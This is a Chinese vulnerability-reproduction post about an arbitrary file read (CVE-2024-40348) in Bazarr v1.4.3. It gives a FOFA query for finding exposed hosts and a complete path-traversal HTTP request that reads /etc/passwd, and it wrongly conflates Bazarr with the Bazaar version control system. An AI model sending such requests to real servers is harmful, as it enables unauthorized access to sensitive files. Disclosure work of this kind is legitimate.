免责声明

请勿使用本文中提到的技术进行非法测试或行为。使用本文中提供的信息或工具所造成的任何后果和损失由使用者自行承担，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、简介

Bazaar 是一个强大的分布式版本控制系统，旨在帮助开发者记录项目的历史变化并简化团队协作，适用于各种规模的开发团队和开源项目。而 Bazarr 则是与 Sonarr 和 Radarr 配套的应用程序，主要用于管理和下载电影或电视节目的字幕。
在这里插入图片描述

二、漏洞描述

Bazarr v1.4.3 版本存在一个严重的安全漏洞，该漏洞源于 static 接口未充分验证用户身份，允许未经身份验证的攻击者通过目录遍历攻击读取系统的敏感文件。攻击者可以利用该漏洞访问服务器上的关键文件，如 /etc/passwd 等敏感信息，造成潜在的安全风险。

三、fofa语法

title="Bazarr"

四、影响版本

Bazaar v1.4.3

五、漏洞复现

GET /api/swaggerui/static/../../../../../../../../../../../../../../../../etc/passwd HTTP/2
Host: IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Content-Length: 2

在这里插入图片描述
批量检测（批量检测POC工具请在公众号知识星球获取）：
在这里插入图片描述

六、修复建议

1、关闭互联网暴露面
2、设置访问权限
3、打补丁

原文始发于微信公众号（白帽攻防）：【漏洞复现】Bazaar 任意文件读取漏洞(CVE-2024-40348)

# 网络安全 # web安全 # 安全
Logo
天工造物局

北京人形旗下天工造物具身智能开源社区，聚焦具身天工与慧思开物两大平台

更多推荐

deck.gl TripsLayer 出租车轨迹动画示例实战：从示例运行到着色器原理

TripsLayer 是 deck.gl 中用于渲染**随时间流动的轨迹动画**（如出租车行程、物流路径、迁徙路线）的核心图层。本文以仓库中的最小独立示例 [examples/website/trips](https://link.gitcode.com/i/1442af8f442f4cff39ff546e050fceb5) 为骨架，带你完成从安装依赖、启动应用、理解曼哈顿出租车数据格式，到深入

avatar 天工造物局

Foundry Anvil 中 eth_simulateV1 的 Blob 交易与 Blob Gas 字段规范化：原理、实现与测试验证

本篇技术指南以 [anvil-simulate-blob-transactions.md](https://link.gitcode.com/i/3d2ebe227262de169335eb290af80da8) 这条 changelog 条目为起点，深入剖析 Foundry Anvil 对 `eth_simulateV1` RPC 返回结果中 blob（EIP-4844）交易与 blob gas

avatar 天工造物局

LMCache CLI 实战：用 `lmcache kvcache clear` 管理运行中服务的 KV Cache 状态

本文是一份针对 LMCache 官方 CLI 命令 `lmcache kvcache` 的完整技术指南。该命令用于在**运行中的 LMCache 服务（MP HTTP server）**上管理 KV cache 状态，当前提供 `clear` 子命令，用于清空 L1（CPU 内存）层中缓存的全部 KV 数据。读完本文，你将掌握该命令的完整参数体系、退出码语义、终端/JSON/静默三种输出模式，并能

avatar 天工造物局